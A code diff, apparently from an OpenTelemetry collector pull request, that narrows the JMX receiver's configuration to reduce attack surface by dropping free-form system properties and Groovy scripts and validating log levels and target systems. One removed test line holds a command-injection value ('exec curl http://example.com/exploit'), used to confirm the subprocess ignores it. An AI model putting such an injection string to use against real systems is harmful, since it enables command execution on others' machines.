[receiver/jmxreceiver] Limit parameters for JMX receiver to reduce security risk

CHANGELOG.md

@@ -6,6 +6,7 @@
 
 - `datadogexporter`: Replace HistogramMode defined as string with enum.
 - `pkg/translator/signalfx`: Change signalfx translator to expose To/From translator structs. (#9740)
+- `jmxreceiver`: Remove properties & groovyscript parameters from JMX Receiver. Add ResourceAttributes & LogLevel parameter to supply some of the removed functionality with reduced attack surface (#9685)
 
 ### 🚩 Deprecations 🚩
 
@@ -23,6 +24,7 @@
 - `internal/stanza`: Add support for `remove` operator (#9524)
 - `k8sattributesprocessor`: Support regex capture groups in tag_name (#9525)
 - `transformprocessor`: Add new `truncation` function to allow truncating string values in maps such as `attributes` or `resource.attributes` (#9546)
+- `jmxreceiver`: Communicate with JMX metrics gatherer subprocess via properties file (#9685)
 
 ### 🧰 Bug fixes 🧰
 

receiver/jmxreceiver/config.go

@@ -16,7 +16,6 @@ package jmxreceiver // import "github.com/open-telemetry/opentelemetry-collector
 
 import (
 	"fmt"
-	"os"
 	"sort"
 	"strings"
 	"time"
@@ -31,10 +30,8 @@ type Config struct {
 	JARPath string `mapstructure:"jar_path"`
 	// The Service URL or host:port for the target coerced to one of form: service:jmx:rmi:///jndi/rmi://<host>:<port>/jmxrmi.
 	Endpoint string `mapstructure:"endpoint"`
-	// The target system for the metric gatherer whose built in groovy script to run.  Cannot be set with GroovyScript.
+	// The target system for the metric gatherer whose built in groovy script to run.
 	TargetSystem string `mapstructure:"target_system"`
-	// The script for the metric gatherer to run on the configured interval.  Cannot be set with TargetSystem.
-	GroovyScript string `mapstructure:"groovy_script"`
 	// The duration in between groovy script invocations and metric exports (10 seconds by default).
 	// Will be converted to milliseconds.
 	CollectionInterval time.Duration `mapstructure:"collection_interval"`
@@ -60,10 +57,13 @@ type Config struct {
 	RemoteProfile string `mapstructure:"remote_profile"`
 	// The SASL/DIGEST-MD5 realm
 	Realm string `mapstructure:"realm"`
-	// Map of property names to values to pass as system properties when running JMX Metric Gatherer
-	Properties map[string]string `mapstructure:"properties"`
 	// Array of additional JARs to be added to the the class path when launching the JMX Metric Gatherer JAR
 	AdditionalJars []string `mapstructure:"additional_jars"`
+	// Map of resource attributees used by the Java SDK Autoconfigure to set resource attributes
+	ResourceAttributes map[string]string `mapstructure:"resource_attributes"`
+	// Log level used by the JMX metric gatherer. Should be one of:
+	// `"trace"`, `"debug"`, `"info"`, `"warn"`, `"error"`, `"off"`
+	LogLevel string `mapstructure:"log_level"`
 }
 
 // We don't embed the existing OTLP Exporter config as most fields are unsupported
@@ -95,10 +95,13 @@ func (oec otlpExporterConfig) headersToString() string {
 }
 
 func (c *Config) parseProperties() []string {
-	parsed := make([]string, 0, len(c.Properties))
-	for property, value := range c.Properties {
-		parsed = append(parsed, fmt.Sprintf("-D%s=%s", property, value))
+	parsed := make([]string, 0, 1)
+	logLevel := "info"
+	if len(c.LogLevel) > 0 {
+		logLevel = strings.ToLower(c.LogLevel)
 	}
+
+	parsed = append(parsed, fmt.Sprintf("-Dorg.slf4j.simpleLogger.defaultLogLevel=%s", logLevel))
 	// Sorted for testing and reproducibility
 	sort.Strings(parsed)
 	return parsed
@@ -108,12 +111,6 @@ func (c *Config) parseProperties() []string {
 func (c *Config) parseClasspath() string {
 	classPathElems := make([]string, 0)
 
-	// See if the CLASSPATH env exists and if so get it's current value
-	currentClassPath, ok := os.LookupEnv("CLASSPATH")
-	if ok && currentClassPath != "" {
-		classPathElems = append(classPathElems, currentClassPath)
-	}
-
 	// Add JMX JAR to classpath
 	classPathElems = append(classPathElems, c.JARPath)
 
@@ -124,13 +121,20 @@ func (c *Config) parseClasspath() string {
 	return strings.Join(classPathElems, ":")
 }
 
+var validLogLevels = map[string]struct{}{"trace": {}, "debug": {}, "info": {}, "warn": {}, "error": {}, "off": {}}
+var validTargetSystems = map[string]struct{}{"activemq": {}, "cassandra": {}, "hbase": {}, "hadoop": {},
+	"jvm": {}, "kafka": {}, "kafka-consumer": {}, "kafka-producer": {}, "solr": {}, "tomcat": {}, "wildfly": {}}
+
 func (c *Config) validate() error {
 	var missingFields []string
 	if c.Endpoint == "" {
 		missingFields = append(missingFields, "`endpoint`")
 	}
-	if c.TargetSystem == "" && c.GroovyScript == "" {
-		missingFields = append(missingFields, "`target_system` or `groovy_script`")
+	if c.TargetSystem == "" {
+		missingFields = append(missingFields, "`target_system`")
+	}
+	if c.JARPath == "" {
+		missingFields = append(missingFields, "`jar_path`")
 	}
 	if missingFields != nil {
 		baseMsg := fmt.Sprintf("%v missing required field", c.ID())
@@ -148,5 +152,24 @@ func (c *Config) validate() error {
 		return fmt.Errorf("%v `otlp.timeout` must be positive: %vms", c.ID(), c.OTLPExporterConfig.Timeout.Milliseconds())
 	}
 
+	if _, ok := validLogLevels[strings.ToLower(c.LogLevel)]; !ok {
+		return fmt.Errorf("%v `log_level` must be one of %s", c.ID(), listKeys(validLogLevels))
+	}
+
+	for _, system := range strings.Split(c.TargetSystem, ",") {
+		if _, ok := validTargetSystems[strings.ToLower(system)]; !ok {
+			return fmt.Errorf("%v `target_system` list may only be a subset of %s", c.ID(), listKeys(validTargetSystems))
+		}
+	}
+
 	return nil
 }
+
+func listKeys(presenceMap map[string]struct{}) string {
+	list := make([]string, 0, len(presenceMap))
+	for k := range presenceMap {
+		list = append(list, fmt.Sprintf("'%s'", k))
+	}
+	sort.Strings(list)
+	return strings.Join(list, ", ")
+}

receiver/jmxreceiver/config_test.go

@@ -40,14 +40,14 @@ func TestLoadConfig(t *testing.T) {
 	require.NoError(t, err)
 	require.NotNil(t, cfg)
 
-	assert.Equal(t, len(cfg.Receivers), 6)
+	assert.Equal(t, len(cfg.Receivers), 8)
 
 	r0 := cfg.Receivers[config.NewComponentID(typeStr)].(*Config)
 	require.NoError(t, configtest.CheckConfigStruct(r0))
 	assert.Equal(t, r0, factory.CreateDefaultConfig())
 	err = r0.validate()
 	require.Error(t, err)
-	assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system` or `groovy_script`", err.Error())
+	assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system`", err.Error())
 
 	r1 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "all")].(*Config)
 	require.NoError(t, configtest.CheckConfigStruct(r1))
@@ -57,10 +57,11 @@ func TestLoadConfig(t *testing.T) {
 			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "all")),
 			JARPath:            "myjarpath",
 			Endpoint:           "myendpoint:12345",
-			GroovyScript:       "mygroovyscriptpath",
+			TargetSystem:       "jvm",
 			CollectionInterval: 15 * time.Second,
 			Username:           "myusername",
 			Password:           "mypassword",
+			LogLevel:           "info",
 			OTLPExporterConfig: otlpExporterConfig{
 				Endpoint: "myotlpendpoint",
 				Headers: map[string]string{
@@ -78,18 +79,16 @@ func TestLoadConfig(t *testing.T) {
 			TruststorePassword: "mytruststorepassword",
 			RemoteProfile:      "myremoteprofile",
 			Realm:              "myrealm",
-			Properties: map[string]string{
-				"property.one":                           "value.one",
-				"property.two":                           "value.two.a=value.two.b,value.two.c=value.two.d",
-				"org.slf4j.simpleLogger.defaultLogLevel": "info",
-			},
 			AdditionalJars: []string{
 				"/path/to/additional.jar",
 			},
+			ResourceAttributes: map[string]string{
+				"one": "two",
+			},
 		}, r1)
 
 	assert.Equal(
-		t, []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=info", "-Dproperty.one=value.one", "-Dproperty.two=value.two.a=value.two.b,value.two.c=value.two.d"},
+		t, []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=info"},
 		r1.parseProperties(),
 	)
 
@@ -99,9 +98,9 @@ func TestLoadConfig(t *testing.T) {
 		&Config{
 			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "missingendpoint")),
 			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
-			GroovyScript:       "mygroovyscriptpath",
+			TargetSystem:       "jvm",
+			LogLevel:           "info",
 			CollectionInterval: 10 * time.Second,
-			Properties:         map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"},
 			OTLPExporterConfig: otlpExporterConfig{
 				Endpoint: "0.0.0.0:0",
 				TimeoutSettings: exporterhelper.TimeoutSettings{
@@ -120,8 +119,8 @@ func TestLoadConfig(t *testing.T) {
 			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "missinggroovy")),
 			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
 			Endpoint:           "service:jmx:rmi:///jndi/rmi://host:12345/jmxrmi",
-			Properties:         map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"},
 			CollectionInterval: 10 * time.Second,
+			LogLevel:           "info",
 			OTLPExporterConfig: otlpExporterConfig{
 				Endpoint: "0.0.0.0:0",
 				TimeoutSettings: exporterhelper.TimeoutSettings{
@@ -131,7 +130,7 @@ func TestLoadConfig(t *testing.T) {
 		}, r3)
 	err = r3.validate()
 	require.Error(t, err)
-	assert.Equal(t, "jmx/missinggroovy missing required field: `target_system` or `groovy_script`", err.Error())
+	assert.Equal(t, "jmx/missinggroovy missing required field: `target_system`", err.Error())
 
 	r4 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidinterval")].(*Config)
 	require.NoError(t, configtest.CheckConfigStruct(r4))
@@ -140,8 +139,8 @@ func TestLoadConfig(t *testing.T) {
 			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidinterval")),
 			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
 			Endpoint:           "myendpoint:23456",
-			GroovyScript:       "mygroovyscriptpath",
-			Properties:         map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"},
+			TargetSystem:       "jvm",
+			LogLevel:           "info",
 			CollectionInterval: -100 * time.Millisecond,
 			OTLPExporterConfig: otlpExporterConfig{
 				Endpoint: "0.0.0.0:0",
@@ -161,8 +160,8 @@ func TestLoadConfig(t *testing.T) {
 			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidotlptimeout")),
 			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
 			Endpoint:           "myendpoint:34567",
-			GroovyScript:       "mygroovyscriptpath",
-			Properties:         map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"},
+			TargetSystem:       "jvm",
+			LogLevel:           "info",
 			CollectionInterval: 10 * time.Second,
 			OTLPExporterConfig: otlpExporterConfig{
 				Endpoint: "0.0.0.0:0",
@@ -174,6 +173,48 @@ func TestLoadConfig(t *testing.T) {
 	err = r5.validate()
 	require.Error(t, err)
 	assert.Equal(t, "jmx/invalidotlptimeout `otlp.timeout` must be positive: -100ms", err.Error())
+
+	r6 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidloglevel")].(*Config)
+	require.NoError(t, configtest.CheckConfigStruct(r6))
+	assert.Equal(t,
+		&Config{
+			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidloglevel")),
+			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
+			Endpoint:           "myendpoint:55555",
+			TargetSystem:       "jvm",
+			LogLevel:           "truth",
+			CollectionInterval: 10 * time.Second,
+			OTLPExporterConfig: otlpExporterConfig{
+				Endpoint: "0.0.0.0:0",
+				TimeoutSettings: exporterhelper.TimeoutSettings{
+					Timeout: 5 * time.Second,
+				},
+			},
+		}, r6)
+	err = r6.validate()
+	require.Error(t, err)
+	assert.Equal(t, "jmx/invalidloglevel `log_level` must be one of 'debug', 'error', 'info', 'off', 'trace', 'warn'", err.Error())
+
+	r7 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidtargetsystem")].(*Config)
+	require.NoError(t, configtest.CheckConfigStruct(r7))
+	assert.Equal(t,
+		&Config{
+			ReceiverSettings:   config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidtargetsystem")),
+			JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
+			Endpoint:           "myendpoint:55555",
+			TargetSystem:       "jvm,nonsense",
+			LogLevel:           "info",
+			CollectionInterval: 10 * time.Second,
+			OTLPExporterConfig: otlpExporterConfig{
+				Endpoint: "0.0.0.0:0",
+				TimeoutSettings: exporterhelper.TimeoutSettings{
+					Timeout: 5 * time.Second,
+				},
+			},
+		}, r7)
+	err = r7.validate()
+	require.Error(t, err)
+	assert.Equal(t, "jmx/invalidtargetsystem `target_system` list may only be a subset of 'activemq', 'cassandra', 'hadoop', 'hbase', 'jvm', 'kafka', 'kafka-consumer', 'kafka-producer', 'solr', 'tomcat', 'wildfly'", err.Error())
 }
 
 func TestClassPathParse(t *testing.T) {
@@ -213,7 +254,7 @@ func TestClassPathParse(t *testing.T) {
 				},
 			},
 			existingEnvVal: "/pre/existing/class/path/",
-			expected:       "/pre/existing/class/path/:/opt/opentelemetry-java-contrib-jmx-metrics.jar:/path/to/one.jar:/path/to/two.jar",
+			expected:       "/opt/opentelemetry-java-contrib-jmx-metrics.jar:/path/to/one.jar:/path/to/two.jar",
 		},
 	}
 

receiver/jmxreceiver/factory.go

@@ -40,14 +40,14 @@ func createDefaultConfig() config.Receiver {
 	return &Config{
 		ReceiverSettings:   config.NewReceiverSettings(config.NewComponentID(typeStr)),
 		JARPath:            "/opt/opentelemetry-java-contrib-jmx-metrics.jar",
-		Properties:         map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"},
 		CollectionInterval: 10 * time.Second,
 		OTLPExporterConfig: otlpExporterConfig{
 			Endpoint: otlpEndpoint,
 			TimeoutSettings: exporterhelper.TimeoutSettings{
 				Timeout: 5 * time.Second,
 			},
 		},
+		LogLevel: "info",
 	}
 }
 

receiver/jmxreceiver/factory_test.go

@@ -38,7 +38,7 @@ func TestWithInvalidConfig(t *testing.T) {
 		cfg, consumertest.NewNop(),
 	)
 	require.Error(t, err)
-	assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system` or `groovy_script`", err.Error())
+	assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system`", err.Error())
 	require.Nil(t, r)
 }
 
@@ -48,7 +48,7 @@ func TestWithValidConfig(t *testing.T) {
 
 	cfg := f.CreateDefaultConfig()
 	cfg.(*Config).Endpoint = "myendpoint:12345"
-	cfg.(*Config).GroovyScript = "mygroovyscriptpath"
+	cfg.(*Config).TargetSystem = "jvm"
 
 	params := componenttest.NewNopReceiverCreateSettings()
 	r, err := f.CreateMetricsReceiver(context.Background(), params, cfg, consumertest.NewNop())
@@ -65,9 +65,7 @@ func TestWithSetProperties(t *testing.T) {
 
 	cfg := f.CreateDefaultConfig()
 	cfg.(*Config).Endpoint = "myendpoint:12345"
-	cfg.(*Config).GroovyScript = "mygroovyscriptpath"
-	cfg.(*Config).Properties["org.slf4j.simpleLogger.defaultLogLevel"] = "trace"
-	cfg.(*Config).Properties["org.java.fake.property"] = "true"
+	cfg.(*Config).TargetSystem = "jvm"
 
 	params := componenttest.NewNopReceiverCreateSettings()
 	r, err := f.CreateMetricsReceiver(context.Background(), params, cfg, consumertest.NewNop())

receiver/jmxreceiver/integration_test.go

@@ -157,7 +157,7 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
 				CollectionInterval: 100 * time.Millisecond,
 				Endpoint:           fmt.Sprintf("%v:7199", hostname),
 				JARPath:            jar,
-				GroovyScript:       filepath.Join("testdata", "script.groovy"),
+				TargetSystem:       "cassandra",
 				OTLPExporterConfig: otlpExporterConfig{
 					Endpoint: "127.0.0.1:0",
 					TimeoutSettings: exporterhelper.TimeoutSettings{
@@ -166,15 +166,11 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
 				},
 				Password: "cassandra",
 				Username: "cassandra",
-				Properties: map[string]string{
-					// should be used by Autoconfigure to set resource attributes
-					"otel.resource.attributes": "myattr=myvalue,myotherattr=myothervalue",
-					// test script sets dp labels from these system property values
-					"my.label.name": "mylabel", "my.label.value": "myvalue",
-					"my.other.label.name": "myotherlabel", "my.other.label.value": "myothervalue",
-					// confirmation that arbitrary content isn't executed by subprocess
-					"one": "two & exec curl http://example.com/exploit && exit 123",
+				ResourceAttributes: map[string]string{
+					"myattr":      "myvalue",
+					"myotherattr": "myothervalue",
 				},
+				LogLevel: "debug",
 			}
 			require.NoError(t, cfg.validate())
 
@@ -236,16 +232,6 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
 				sum := met.Sum()
 				require.False(t, sum.IsMonotonic())
 
-				// These labels are determined by system properties
-				labels := sum.DataPoints().At(0).Attributes()
-				customLabel, ok := labels.Get("mylabel")
-				require.True(t, ok)
-				require.Equal(t, "myvalue", customLabel.StringVal())
-
-				anotherCustomLabel, ok := labels.Get("myotherlabel")
-				require.True(t, ok)
-				require.Equal(t, "myothervalue", anotherCustomLabel.StringVal())
-
 				return true
 			}, 30*time.Second, 100*time.Millisecond, getJavaStdout(receiver))
 		})
@@ -258,8 +244,7 @@ func TestJMXReceiverInvalidOTLPEndpointIntegration(t *testing.T) {
 		CollectionInterval: 100 * time.Millisecond,
 		Endpoint:           fmt.Sprintf("service:jmx:rmi:///jndi/rmi://localhost:7199/jmxrmi"),
 		JARPath:            "/notavalidpath",
-		Properties:         make(map[string]string),
-		GroovyScript:       filepath.Join("testdata", "script.groovy"),
+		TargetSystem:       "jvm",
 		OTLPExporterConfig: otlpExporterConfig{
 			Endpoint: "<invalid>:123",
 			TimeoutSettings: exporterhelper.TimeoutSettings{